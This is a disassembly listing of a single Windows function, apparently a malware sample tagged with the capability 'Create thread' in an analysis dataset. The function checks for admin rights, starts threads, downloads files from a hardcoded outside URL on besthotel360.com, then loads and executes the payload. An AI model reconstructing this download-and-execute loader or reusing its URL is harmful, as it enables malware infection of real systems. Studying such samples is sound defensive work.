Function at 0x401288
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
push 0x409232
push dword [0x409ba2]
call fcn.00401194
add esp, 8
cmp eax, 0
jne 0x401392
push 0
mov ebx, 0x104
call fcn.00405cb0
add esp, 4
mov dword [ebp - 0x30], eax
push 0x409200
push dword [ebp - 0x30]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401337
push ebx
call fcn.00405a5c
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [0x409b9e]
test ebx, ebx
je 0x40134e
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [0x409b9e], eax
mov dword [ebp - 0x30], esp
push 0x10
push dword [0x409ba2]
push 0x409233
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop
nop
nop
nop
cmp dword [ebp - 0x30], esp
je 0x401388
push 6
call fcn.00405a62
add esp, 4
call fcn.00401fc2
jmp 0x401392
push 0x409232
push dword [0x409b9e]
call fcn.00401194
add esp, 8
cmp eax, 0
jne 0x401446
push 0
mov ebx, 0x104
call fcn.00405cb0
add esp, 4
mov dword [ebp - 0x30], eax
push 0x409200
push dword [ebp - 0x30]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4013eb
push ebx
call fcn.00405a5c
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [0x409b9e]
test ebx, ebx
je 0x401402
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [0x409b9e], eax
mov dword [ebp - 0x30], esp
push 0x10
push dword [0x409b9e]
push 0x409248
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop
nop
nop
nop
cmp dword [ebp - 0x30], esp
je 0x40143c
push 6
call fcn.00405a62
add esp, 4
call fcn.00401fc2
jmp 0x401821
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
call fcn.00402002
mov dword [ebp - 0x34], eax
push str..exe
push dword [ebp - 0x34]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401482
push ebx
call fcn.00405a5c
add esp, 4
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401496
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000004
push 0
mov eax, dword [0x409b9e]
test eax, eax
jne 0x4014af
mov eax, 0x409232
push eax
push 1
mov ebx, 0x268
call fcn.00405df0
add esp, 0x10
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4014d9
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0x80000005
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4014f0
mov eax, 0x409260
push eax
push 1
mov ebx, 0x194
call fcn.00405e60
add esp, 0x10
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x1000
jle 0x40178b
push 0x80000004
push 0
mov eax, dword [0x409b9e]
test eax, eax
jne 0x401528
mov eax, 0x409232
push eax
push 1
mov ebx, 0x244
call fcn.00405e70
add esp, 0x10
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x401552
push 0x409b9e
call fcn.0040223b
push 0x80000002
push 0
push 0
push 0
push 0
push 0
push 0x80000004
push 0
push 0x409200
push 0x80000004
push 0
mov eax, dword [0x409b9e]
test eax, eax
jne 0x401585
mov eax, 0x409232
push eax
push 4
mov ebx, 0x14c
call fcn.00405e80
add esp, 0x34
push 0x80000301
push 0
push eax
push 0x80000004
push 0
mov eax, dword [0x409b9e]
test eax, eax
jne 0x4015b5
mov eax, 0x409232
push eax
push 2
mov ebx, 0x134
call fcn.00405f30
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4015df
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
call fcn.00402002
mov dword [ebp - 0x38], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x401620
mov eax, 0x409232
push eax
push 1
mov ebx, 0x198
call fcn.00406130
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x401646
push ebx
call fcn.00405a5c
add esp, 4
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
call fcn.00402002
mov dword [ebp - 0x44], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x40166d
mov eax, 0x409232
push eax
push 1
mov ebx, 0x198
call fcn.00406130
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x401693
push ebx
call fcn.00405a5c
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
call fcn.00402002
mov dword [ebp - 0x50], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x4016ba
mov eax, 0x409232
push eax
push 1
mov ebx, 0x198
call fcn.00406130
add esp, 0x10
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x4016e0
push ebx
call fcn.00405a5c
add esp, 4
push dword [ebp - 0x54]
push dword [ebp - 0x48]
push dword [ebp - 0x3c]
push 0x409268
push dword [ebp - 8]
mov ecx, 5
call fcn.00401231
add esp, 0x14
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x401711
push ebx
call fcn.00405a5c
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x401721
push ebx
call fcn.00405a5c
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x401731
push ebx
call fcn.00405a5c
add esp, 4
push 0x80000005
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x401744
mov eax, 0x409260
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x401758
mov eax, 0x409232
push eax
push 2
mov ebx, 0x26c
call fcn.00406210
add esp, 0x1c
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40177b
push ebx
call fcn.00405a5c
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x40178b
push ebx
call fcn.00405a5c
add esp, 4
push 0x80000002
push 0
push 0
push 0
push 0
push 0
push 0x80000004
push 0
push 0x409200
push 0x80000004
push 0
mov eax, dword [0x409b9e]
test eax, eax
jne 0x4017be
mov eax, 0x409232
push eax
push 4
mov ebx, 0x14c
call fcn.00405e80
add esp, 0x34
push 0x80000301
push 0
push eax
push 0x80000004
push 0
mov eax, dword [0x409b9e]
test eax, eax
jne 0x4017ee
mov eax, 0x409232
push eax
push 2
mov ebx, 0x134
call fcn.00405f30
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [0x409b9e]
test ebx, ebx
je 0x40181b
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [0x409b9e], eax
cmp dword [0x409ba6], 1
jne 0x40185f
mov dword [ebp - 0x30], esp
push 0x20
push dword [ebp - 0x10]
push 0x40927d
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop
nop
nop
nop
cmp dword [ebp - 0x30], esp
je 0x40185f
push 6
call fcn.00405a62
add esp, 4
push 0x80000006
push 0
push 0x4059d4
push 1
mov ebx, 0x9dc
call fcn.004062b0
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], esp
push 0
push 0
push 0
push dword [ebp - 0x30]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 0x34], esp
je 0x4018bb
push 6
call fcn.00405a62
add esp, 4
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], esp
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x4018e0
push 6
call fcn.00405a62
add esp, 4
call fcn.004026eb
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [0x409baa]
test ebx, ebx
je 0x4018ff
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [0x409baa], eax
mov eax, dword [0x409b9e]
test eax, eax
je 0x401923
push eax
mov ebx, eax
call fcn.00401010
inc eax
push eax
call fcn.00405a74
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x401934
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov eax, 0x40928c
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40194e
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], esp
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
nop
nop
nop
nop
cmp dword [ebp - 0x30], esp
je 0x401971
push 6
call fcn.00405a62
add esp, 4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
je 0x4019b4
mov dword [ebp - 0x30], esp
push 0x10
push dword [ebp - 0x10]
push 0x409290
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop
nop
nop
nop
cmp dword [ebp - 0x30], esp
je 0x4019af
push 6
call fcn.00405a62
add esp, 4
call fcn.00401fc2
call fcn.00402791
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x401a22
push 0x4092a5
push dword [ebp - 0x10]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], esp
push 0x10
push dword [ebp - 0x10]
push dword [ebp - 0x30]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop
nop
nop
nop
cmp dword [ebp - 0x34], esp
je 0x401a0d
push 6
call fcn.00405a62
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401a1d
push ebx
call fcn.00405a5c
add esp, 4
call fcn.00401fc2
push 0x80000006
push 0
push 0x4059d4
push 1
mov ebx, 0x9dc
call fcn.004062b0
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], esp
push 0
push 0
push 0
push dword [ebp - 0x30]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 0x34], esp
je 0x401a7e
push 6
call fcn.00405a62
add esp, 4
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], esp
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x401aa3
push 6
call fcn.00405a62
add esp, 4
mov eax, dword [str.http:__www.besthotel360.com:1219_001_puppet.Txt]
test eax, eax
je 0x401ac1
push eax
mov ebx, eax
call fcn.00401010
inc eax
push eax
call fcn.00405a74
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401ad2
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040289c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jge 0x401b61
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x168
call fcn.00406400
add esp, 0x10
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
push str.Error_DownloadFile1_Code:
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401b37
push ebx
call fcn.00405a5c
add esp, 4
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
lea eax, [ebp - 0x34]
push eax
call fcn.004036b9
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401b5c
push ebx
call fcn.00405a5c
add esp, 4
call fcn.00401fc2
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 0x80000301
push 0
push dword [ebp - 0x20]
push 2
mov ebx, 0x910
call fcn.004066d0
add esp, 0x1c
mov dword [ebp - 0x30], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x401b9d
mov eax, 0x409260
push eax
push 1
mov ebx, 0x168
call fcn.00406400
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401bc3
push ebx
call fcn.00405a5c
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x401bd7
push ebx
call fcn.00405a5c
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.0040289c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x400
jge 0x401c69
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x168
call fcn.00406400
add esp, 0x10
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
push str.Error_DownloadFile2_Code:
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401c3f
push ebx
call fcn.00405a5c
add esp, 4
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
lea eax, [ebp - 0x34]
push eax
call fcn.004036b9
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401c64
push ebx
call fcn.00405a5c
add esp, 4
call fcn.00401fc2
mov dword [0x409bae], 0x907e7e3
push dword [ebp - 0x1c]
push dword [ebp - 0x28]
call fcn.00403f4a
mov dword [ebp - 0x2c], eax
push 0xffffffff
push dword [ebp - 0x1c]
call fcn.00403f25
push eax
push dword [ebp - 0x2c]
call fcn.00403f4a
mov dword [ebp - 0x2c], eax
push 0
mov ebx, 0x308
call sub.KERNEL32.dll_GetTickCount
add esp, 4
mov dword [ebp - 0x30], eax
push 0x20
push dword [ebp - 0x2c]
call fcn.00403f25
push 0
push 0
push 0
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push dword [ebp - 0x30]
push 3
mov ebx, 0x914
call fcn.00406730
add esp, 0x28
mov dword [ebp - 0x30], esp
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
nop
cmp dword [ebp - 0x30], esp
je 0x401d0a
push 6
call fcn.00405a62
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x401d1d
mov eax, 0x409232
push eax
push 1
mov ebx, 0x130
call fcn.00406810
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x24
push dword [ebp - 0x2c]
call fcn.00403f25
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x34]
push 0x80000301
push 0
push dword [ebp - 0x30]
push 3
mov ebx, 0x914
call fcn.00406730
add esp, 0x28
lea eax, [ebp - 0x14]
push eax
call fcn.00403f09
mov dword [ebp - 0x30], eax
push 0x28
push dword [ebp - 0x2c]
call fcn.00403f25
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x34]
push 0x80000301
push 0
push dword [ebp - 0x30]
push 3
mov ebx, 0x914
call fcn.00406730
add esp, 0x28
push 0x409bb2
call fcn.00404570
mov dword [ebp - 0x30], eax
push 0x2c
push dword [ebp - 0x2c]
call fcn.00403f25
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x34]
push 0x80000301
push 0
push dword [ebp - 0x30]
push 3
mov ebx, 0x914
call fcn.00406730
add esp, 0x28
push 0x30
push dword [ebp - 0x2c]
call fcn.00403f25
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x30]
push 0x80000301
push 0
push dword [0x409ba6]
push 3
mov ebx, 0x914
call fcn.00406730
add esp, 0x28
push dword [ebp - 0x2c]
call fcn.0040458c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401edd
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x168
call fcn.00406400
add esp, 0x10
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
push str.Error_LoadFile_Code:
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401eb3
push ebx
call fcn.00405a5c
add esp, 4
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
lea eax, [ebp - 0x34]
push eax
call fcn.004036b9
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401ed8
push ebx
call fcn.00405a5c
add esp, 4
call fcn.00401fc2
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x168
call fcn.00406400
add esp, 0x10
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
push str.Execution_Failed_Code:
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x401f24
push ebx
call fcn.00405a5c
add esp, 4
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
lea eax, [ebp - 0x34]
push eax
call fcn.004036b9
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401f49
push ebx
call fcn.00405a5c
add esp, 4
call fcn.00401fc2
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401f5e
push ebx
call fcn.00405a5c
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x401f6e
push ebx
call fcn.00405a5c
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x401f7e
push ebx
call fcn.00405a5c
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x401f8e
push ebx
call fcn.00405a5c
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x401f9e
push ebx
call fcn.00405a5c
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401fae
push ebx
call fcn.00405a5c
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x401fbe
push ebx
call fcn.00405a5c
add esp, 4
mov esp, ebp
pop ebp
ret